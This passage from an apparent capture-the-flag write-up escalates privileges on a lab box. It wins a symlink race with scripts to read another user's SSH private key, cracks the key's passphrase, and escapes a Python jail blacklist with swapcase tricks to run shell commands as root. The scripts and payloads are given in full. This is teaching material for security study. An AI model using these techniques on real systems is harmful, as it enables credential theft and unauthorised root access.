    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;id_rsa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;"id_rsa"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;lstat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lstat_buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;symlink_check&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;S_ISLNK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lstat_buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;st_mode&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;R_OK&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;usleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;symlink_check&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;==-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;id_rsa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Nice try!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"I guess you won!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirms the reverse-engineered logic exactly: &lt;code&gt;lstat()&lt;/code&gt; decides whether the path is a symlink,&lt;br&gt;
but &lt;code&gt;open()&lt;/code&gt; re-resolves the path from scratch afterward. If the path is swapped from a regular&lt;br&gt;
file to a symlink pointing at &lt;code&gt;/home/youcef/.ssh/id_rsa&lt;/code&gt; in the gap between those two calls, the&lt;br&gt;
symlink check passes (it saw a regular file) while &lt;code&gt;open()&lt;/code&gt; follows the now-symlinked path and&lt;br&gt;
reads &lt;code&gt;id_rsa&lt;/code&gt; anyway - bypassing the &lt;code&gt;id_rsa&lt;/code&gt; filename check and the symlink check together,&lt;br&gt;
since neither is re-evaluated at open time.&lt;/p&gt;

&lt;p&gt;Sanity-checked the binary directly before building an exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:/home/youcef&lt;span class="nv"&gt;$ &lt;/span&gt;./readfile readfile.c
Nice try!
john@Breakme:/home/youcef&lt;span class="nv"&gt;$ &lt;/span&gt;./readfile /root/root.txt
File Not Found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;readfile.c&lt;/code&gt; trips the symlink/unreadable checks as expected (it's not directly relevant here, but&lt;br&gt;
confirms the checks fire), and &lt;code&gt;/root/root.txt&lt;/code&gt; simply isn't accessible - as expected, since this&lt;br&gt;
binary is scoped to &lt;code&gt;youcef&lt;/code&gt;'s files, not root's.&lt;/p&gt;
&lt;h3&gt;
  
  
  Building the race - and the mistakes along the way
&lt;/h3&gt;

&lt;p&gt;First attempt at writing the flip script used the wrong heredoc redirection and immediately failed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; flip.sh &amp;lt; &lt;span class="s1"&gt;'EOF'&lt;/span&gt;
bash: EOF: No such file or directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; reads from &lt;code&gt;EOF&lt;/code&gt; as a file rather than starting a heredoc. Second attempt used &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; instead of&lt;br&gt;
&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt;, which meant the terminal just echoed the pasted script content back as if it were being&lt;br&gt;
typed live, rather than capturing it into the heredoc:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; flip.sh &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'EOF'&lt;/span&gt;
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
...
EOF
^C
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Had to Ctrl-C out of that. The correct form, &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; with a quoted delimiter, finally worked for both&lt;br&gt;
scripts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# flip.sh&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/home/youcef/.ssh/id_rsa"&lt;/span&gt;
&lt;span class="nb"&gt;touch &lt;/span&gt;real_loot &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;644 real_loot
&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-sf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; link_loot

&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;mv&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; link_loot loot
  &lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-sf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; link_loot
  &lt;span class="nb"&gt;mv&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; real_loot loot
  : &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; real_loot&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;644 real_loot
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# race.sh&lt;/span&gt;
&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;out&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/home/youcef/readfile loot 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i+1&lt;span class="k"&gt;))&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"PRIVATE KEY"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[+] Won after &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; attempts"&lt;/span&gt;
    &lt;span class="nb"&gt;break
  &lt;/span&gt;&lt;span class="k"&gt;fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running them immediately after failed too - forgot the executable bit, and the earlier botched&lt;br&gt;
&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; attempt had also left a stray file named &lt;code&gt;EOF&lt;/code&gt; sitting in the directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;./flip.sh &amp;amp;
./race.sh
bash: ./race.sh: Permission denied
bash: ./flip.sh: Permission denied
&lt;span class="o"&gt;[&lt;/span&gt;1]+  Exit 126                ./flip.sh
john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 john john  318 Aug  7 09:57 EOF
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 john john  314 Aug  7 09:57 flip.sh
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 john john  208 Aug  7 09:57 race.sh
john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x flip.sh race.sh
john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;rm &lt;/span&gt;EOF
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that cleaned up, the race finally ran properly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;./flip.sh &amp;amp;
./race.sh
&lt;span class="nt"&gt;-----BEGIN&lt;/span&gt; OPENSSH PRIVATE KEY-----
...
&lt;span class="nt"&gt;-----END&lt;/span&gt; OPENSSH PRIVATE KEY-----
I guess you won!
&lt;span class="o"&gt;[&lt;/span&gt;+] Won after 71 attempts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;71 attempts to win the race - fast enough in practice. All three earlier mistakes (wrong redirect,&lt;br&gt;
wrong heredoc operator, missing exec bit) are what actually led to landing on this careful&lt;br&gt;
two-script setup rather than a single-shot attempt - each failure narrowed down exactly what the&lt;br&gt;
race needed to work reliably.&lt;/p&gt;
&lt;h3&gt;
  
  
  Cracking and using the key
&lt;/h3&gt;

&lt;p&gt;The leaked key is passphrase-protected. First instinct was to just try it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; /home/john/id_rsa_youcef youcef@localhost
Enter passphrase &lt;span class="k"&gt;for &lt;/span&gt;key &lt;span class="s1"&gt;'/home/john/id_rsa_youcef'&lt;/span&gt;:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No passphrase known yet, so that stalled - needed to crack it offline first. &lt;code&gt;ssh2john.py&lt;/code&gt; wasn't&lt;br&gt;
where expected on this box, so it took a couple of tries to locate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:~/race&lt;span class="nv"&gt;$ &lt;/span&gt;python3 /usr/share/john/ssh2john.py /home/john/id_rsa_youcef &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; id_rsa_youcef.hash
python3: can&lt;span class="s1"&gt;'t open file '&lt;/span&gt;/usr/share/john/ssh2john.py&lt;span class="s1"&gt;': [Errno 2] No such file or directory
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# attacker - same problem there&lt;/span&gt;
root@kali:~# python3 /usr/share/john/ssh2john.py /home/john/id_rsa_youcef &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; yousef.hash
python3: can&lt;span class="s1"&gt;'t open file '&lt;/span&gt;/usr/share/john/ssh2john.py&lt;span class="s1"&gt;': [Errno 2] No such file or directory
root@kali:~# which john
/usr/local/bin/john
root@kali:~# python3 /usr/local/bin/john/ssh2john.py /home/john/id_rsa_youcef &amp;gt; yousef.hash
python3: can'&lt;/span&gt;t open file &lt;span class="s1"&gt;'/usr/local/bin/john/ssh2john.py'&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;Errno 20] Not a directory
root@kali:~# locate ssh2john
/opt/john-bleeding/run/ssh2john.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the right path found, generating the hash and cracking with &lt;code&gt;rockyou.txt&lt;/code&gt; worked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@kali:~# python3 /opt/john-bleeding/run/ssh2john.py yousef &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; yousef.hash
root@kali:~# john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt yousef.hash
a123456          &lt;span class="o"&gt;(&lt;/span&gt;yousef&lt;span class="o"&gt;)&lt;/span&gt;
1g 0:00:00:18 DONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the key and cracked passphrase, SSH in as &lt;code&gt;youcef&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; /home/john/id_rsa_youcef youcef@localhost
Enter passphrase &lt;span class="k"&gt;for &lt;/span&gt;key &lt;span class="s1"&gt;'...'&lt;/span&gt;: a123456
youcef@Breakme:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;youcef
youcef@Breakme:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .ssh/user2.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Privilege Escalation to root - Python Jail Escape
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;youcef@Breakme:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
User youcef may run the following commands on breakme:
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/python3 /root/jail.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;youcef&lt;/code&gt; can run a Python script as root with no password. Running it drops into an interactive&lt;br&gt;
"jail":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;youcef&lt;/span&gt;&lt;span class="nd"&gt;@Breakme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
  &lt;span class="n"&gt;Welcome&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;jail&lt;/span&gt;
  &lt;span class="n"&gt;Will&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;stay&lt;/span&gt; &lt;span class="n"&gt;locked&lt;/span&gt; &lt;span class="n"&gt;forever&lt;/span&gt;
  &lt;span class="n"&gt;Or&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;BreakMe&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;Illegal&lt;/span&gt; &lt;span class="n"&gt;Input&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script &lt;code&gt;exec()&lt;/code&gt;s user input after filtering it against a blacklist of substrings -&lt;br&gt;
&lt;code&gt;import&lt;/code&gt;, &lt;code&gt;os&lt;/code&gt;, &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;subprocess&lt;/code&gt;, &lt;code&gt;builtins&lt;/code&gt;, &lt;code&gt;__import__&lt;/code&gt;, etc.&lt;br&gt;
Direct references to any of these are rejected outright.&lt;/p&gt;

&lt;p&gt;Probing showed &lt;code&gt;globals()&lt;/code&gt;, &lt;code&gt;locals()&lt;/code&gt;, &lt;code&gt;dir()&lt;/code&gt;, and attribute access via &lt;code&gt;__dict__&lt;/code&gt; all worked,&lt;br&gt;
since none of those literal strings are blacklisted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__builtins__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{...&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__import__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;built&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;__import__&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So &lt;code&gt;__import__&lt;/code&gt; and &lt;code&gt;os&lt;/code&gt;/&lt;code&gt;system&lt;/code&gt; exist and are reachable - they just can't be &lt;em&gt;typed&lt;/em&gt; literally.&lt;br&gt;
The bypass: Python strings have a &lt;code&gt;.swapcase()&lt;/code&gt; method, so a blacklisted word can be written in&lt;br&gt;
the opposite case and flipped back to the correct case at runtime, never appearing as the literal&lt;br&gt;
blacklisted substring in the source the filter sees:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SYSTEM&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;system&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__builtins__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__IMPORT__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()](&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OS&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SYSTEM&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()](&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ID&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;os.system()&lt;/code&gt; executing as root, confirmed by &lt;code&gt;id&lt;/code&gt;. From there, spawning an interactive shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__builtins__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__IMPORT__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()](&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OS&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SYSTEM&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()](&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/BIN/BASH&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span 